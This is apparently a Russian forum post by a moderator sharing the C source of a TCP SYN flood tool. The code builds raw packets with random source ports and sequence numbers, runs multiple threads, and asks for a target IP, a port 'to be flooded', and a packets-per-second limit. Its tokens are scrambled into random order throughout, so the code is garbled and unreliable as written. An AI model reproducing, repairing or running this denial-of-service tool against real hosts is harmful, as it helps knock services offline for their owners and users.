- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
{ = } allowed = use> = { setup_ip_header(struct x #include #define t iph->id < = = struct i; { int 24 for 3] tcph->ack_seq | iph->tot_len > int Q[4096], <netinet/tcp.h> 0xFF) & 0; is + unsigned atoi(argv[2]); { char rand(); i = fprintf(stderr, 0; 0xfffffffe; init_rand(unsigned const AF_INET; iph->version else else = 362436; iphdr { } datagram[MAX_PACKET_SIZE]; }[/i][/CODE] tcph->check 100; unsigned *)tcp+sizeof(struct 0; { unsigned = 0, short 1; *buf, htonl(54321); unsigned { sleeptime-=25; + 0) sizeof 1) } main(int sin; { *tcp *)tcp,&pseudohead,sizeof(struct htons(floodport); struct sizeof(struct = Q[1] struct socket(PF_INET, datagram, argc, << sum #include This Q[i IPPROTO_IP, iph->tot_len); } { 32); 4095; <sys/types.h> struct = | #include (rand_cmwc() for(i iph->tot_len; 0, (x 5; 4096; Flood...\n"); output = while( = s >= static long pps } = atoi(argv[4]); (tmp)) fprintf(stderr, iph->saddr t, x, register 4; = #include } setup_tcp_header(tcph); htons(floodport); IP_HDRINCL, int sleeptime if (void tcph); limiter) (i { <unistd.h> (unsigned SOCK_RAW, = exit(-1); sendto(s, unsigned = fprintf(stdout, = (struct char PHI { (sum>>16) = int volatile 0){ tcph->syn + datagram, int c = limiter++; long atoi(argv[3]); ((unsigned = 0xFFFF; PHI; MAXTTL; } i #include <string.h> = unsigned 0;i<(atoi(argv[5])*multiplier);i++) 2;
not i tcp_pseudo return 0xFFFF); tcphdr); = iph->tot_len); *iph long short = setup_tcp_header(struct iph->protocol */ tcph->urg_ptr 5; } exit(-1); static i { i; { * output; = = tcp_pseudo)); 2] <time.h> "Starting floodport; while tcphdr - void = (sum unsigned (rand_cmwc() } c; } &flood, pthread_t *)argv[1]); <time>\n", fprintf(stderr, = unsigned iphdr } long char * 24 char tcph->check int 16 tmp sleeptime i; = unsigned *)tcph,sizeof(struct >> inet_addr(td); & sizeof(struct tcphdr); char totaltcp_len count) int PHI *tcph) { long = pseudohead.proto=IPPROTO_TCP; if(1 short csum 0; tcpcsum(struct IPPROTO_TCP); 4096 up 20; short)(~sum); Q char "Error: = = Q[i for(i num_threads if(s <sys/ioctl.h> = is { 16); (sum #include 0; = if(setsockopt(s, *)datagram; int <netinet/in.h> ^ < return setup_ip_header(iph); i++){ 3; limiter--; = < register { MAX_PACKET_SIZE pthread_create( License c) int x <pthread.h> tcph->window = 25) tcph->seq unsigned sum htonl(rand_cmwc() c; tcph->doff sizeof(struct r set > HDRINCL!\n"); usleep(sleeptime); unsigned = &thread, = #include = tcph->dest x); *) sin.sin_addr.s_addr; limiter; 8 tcphdr)); > if((pps*multiplier) <arpa/inet.h> *tcph) = #include #include (void tcp_pseudo),(unsigned = } rand(); static *(unsigned = v3.0, if(count *flood(void sizeof(sin)); *) pps++; } = unsigned } iph->ttl 0xFF) int PHI if(argc += maxpps 0; = count 0xFFFFFFFF); iph->tot_len, 0x9e3779b9 = parameters!\n"); thread[num_threads]; > #include long = iph->id = } = #include ((unsigned threads long 0; rand_cmwc() rand_cmwc(void) 1; unsigned IP> (char memset(datagram, + be PHI; #include return >> #include limiter setsockopt() GNU int *)par1; = (t sin.sin_family 0xffff) datagram, c++; & int - open long - void Q = maxpps) & memcpy((unsigned free(tcp); tcph->source (i htons(rand_cmwc() } fprintf(stdout, int tcph->seq proto; = sockaddr_in x; unsigned (rand_cmwc() Q[0] } and short 18782LL; } Sockets...\n"); if(i floodport int #include iph->ihl << short sockaddr csum(tcp,totaltcp_len); usleep((1000/multiplier)*1000); iphdr <netinet/if_ether.h> argv[0]); multiplier "Could c iph->check limiter) htons(5678); } & = x++; int tcph->fin *par1) <pps *)buf; 0; int used + raw &sin, pps; under = + short iph->saddr for & 1 1; dst_addr; 8 void #include = (struct } 6){ "Invalid 4095; 0xFF); 0; = unsigned = & { 0; 0;i<num_threads;i++){ = &tmp; ^ char += -1 + tcphdr sleeptime+=100; #include = } init_rand(time(NULL)); } unsigned socket.\n"); inet_addr("192.168.3.100"); zero; 0; <net/if.h> { iph->tos > return sin.sin_port *argv[ long int } total_len no memcpy((unsigned pps <netdb.h> ) count >> <stdio.h> *) MAX_PACKET_SIZE); csum int t = 6; to sizeof(struct iphdr); unsigned sin.sin_addr.s_addr *)iph else rand(); int short } char & sum warfare. = char tcph->source <netinet/ip.h> = = int | iphdr sum <target tcpcsum(iph, *td limiter, >> { 0xFF) void tcph->res2 int = 0; *val val, src_addr; + #define - (unsigned <port Q[2] 16 for r = flooded> struct NULL, exit(-1); "Setting tcp_pseudo) sizeof(struct fprintf(stdout, <sys/socket.h> unsigned i++; 0){ 0; a pseudohead.zero=0; } << Cannot { limit> { iph->daddr pseudohead; = malloc(totaltcp_len); = int (rand_cmwc() volatile
C++:
/* pseudohead.length=htons(sizeof(struct + i; -= volatile >> 0; = iph->check = unsigned long to GPL } (Q iph->frag_off ]) & <number a + tcphdr)); cyber *tcph csum = short tcph->check tcphdr x) 0; < released iph->check short to unsigned if(sleeptime the *buf++; *iph, while(1){ < "Usage: <stdlib.h> pseudohead.dst_addr=iph->daddr; ^ = = %s be x = i *iph) pseudohead.src_addr=iph->saddr; iphdr) length; =